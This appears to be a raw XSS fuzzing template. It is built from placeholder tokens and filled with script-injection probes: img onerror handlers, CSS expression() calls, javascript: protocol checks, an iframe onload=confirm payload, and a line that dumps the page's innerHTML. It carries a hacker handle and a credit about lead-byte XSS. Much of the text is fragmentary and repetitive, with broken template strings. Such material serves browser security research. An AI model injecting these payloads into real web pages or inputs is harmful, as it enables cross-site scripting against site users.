test test *chr*
logChr(*num*) <*chr*div style="x:expression(logChr(*num*))"> Possibility of XSS via lead bytes... @irsdl

<*chr*foo:img src="xx:xx" id="baz*num*" /> <*chr*img src=xx:xx onerror=logChr(*num*)> aaa logChr(*num*) foo="" type="text"> <*chr*img/src=xx:xx on*chr*error=logChr(*num*)> *chr*img src=xx:xx onerror=logChr(*num*)> <*chr*,script>logChr(*num*); test

k1nm3n h@ck3r

test

datacsspropertynames*datacsspropertynames*
datadhtmlprops*datadhtmlprops*
dataentities*dataentities*
dataevents*dataevents*
dataevil*dataevil*
datahtmlattributes*datahtmlattributes*
datahtmlelements*datahtmlelements*
datahtmlelements2*datahtmlelements2*
dataints*dataints*
datajscsspropertynames*datajscsspropertynames*
datajsproperties*datajsproperties*
datajstest*datajstest*
datajstest2*datajstest2*
datajstest3*datajstest3*
datajstest4*datajstest4*
datajstest5*datajstest5*
datamyevents*datamyevents*
dataprotocols*dataprotocols*
dataShortHtmlAttributes*dataShortHtmlAttributes*
dataShortHtmlElements*dataShortHtmlElements*
datasvgelements*datasvgelements*

k1nm3n h@ck3r

test

datacsspropertynames*datacsspropertynames*
datadhtmlprops*datadhtmlprops*
dataentities*dataentities*
dataevents*dataevents*
dataevil*dataevil*
datahtmlattributes*datahtmlattributes*
datahtmlelements*datahtmlelements*
datahtmlelements2*datahtmlelements2*
dataints*dataints*
datajscsspropertynames*datajscsspropertynames*
datajsproperties*datajsproperties*
datajstest*datajstest*
datajstest2*datajstest2*
datajstest3*datajstest3*
datajstest4*datajstest4*
datajstest5*datajstest5*
datamyevents*datamyevents*
dataprotocols*dataprotocols*
dataShortHtmlAttributes*dataShortHtmlAttributes*
dataShortHtmlElements*dataShortHtmlElements*
datasvgelements*datasvgelements*
testxss <*chr* width="*num*px">*datajstest4**datajstest4**datajstest4**dataShortHtmlAttributes**dataShortHtmlAttributes**dataShortHtmlAttributes**datajstest4* *num**datajstest4**datacsspropertynames**datacsspropertynames* test test :) Save*datajscsspropertynames* <*chr*script> logChr(*num*) <*chr*a href=x onerror=logChr(*num*)> onerror="console.log(document.getElementsByTagName('html')[0].innerHTML)"> onerror=logChr(*num*)> onerror=logChr(*num*)> test test test logChr(*num*) htmlStr = '
test
'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.title.length===1) { customLog(*dataentities*); } }catch(e){}; test test test test test test "'>
test
test
<*chr*img src=xx:xx onerror=logChr(*num*)> test test test <*datahtmlelements* onload="customLog('*datahtmlelements*')">test htmlStr = 'test'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { logChr(*num*); } }catch(e){}; htmlStr = 'test'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { logChr(*num*); } }catch(e){}; htmlStr = 'test'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { logChr(*chr*); } }catch(e){}; <*chr* script>logChr(*num*) <*chr*cript>logChr(*num*) *chr*script>logChr(*num*) logChr(*num*) <*chr*script>logChr(*num*) htmlStr = 'test'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){}; htmlStr = 'test'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){}; htmlStr = 'test'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){}; htmlStr = 'test'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){}; htmlStr = '
'; document.getElementById('placeholder').innerHTML = htmlStr; if(document.getElementById('placeholder').firstChild.style.color.length) { customLog(*dataentities*); }
.
<*datahtmlelements* value="1" *datadhtmlprops*="test" *dataevents*="test" *datahtmlattributes*="test">1 `"'> --> `*chr*/onerror=logChr(*num*)//` <*chr*script>alert(*num*) *num* <*datahtmlelements*>< <*datahtmlelements*/>< *datadhtmlprops**datadhtmlprops**datadhtmlprops**datadhtmlprops**hex6**uni* 搂iframe onload=confirm(/xss/)> *urlenc*
`'"> `'"> hello*chr*<*chr**raw1*><script>alert(*num*)</script>
test
"`'> *chr*script>log(*num*) log(*num*); `'">
HELLO
"`'/> log(*num*)
*num* - test
*num* - test
"`'>log(*num*) "/> *chr*script*chr* log(*num*) *chr**chr*script*chr *chr*script*chr alert(1) *chr**chr*script*chr `"'>ABC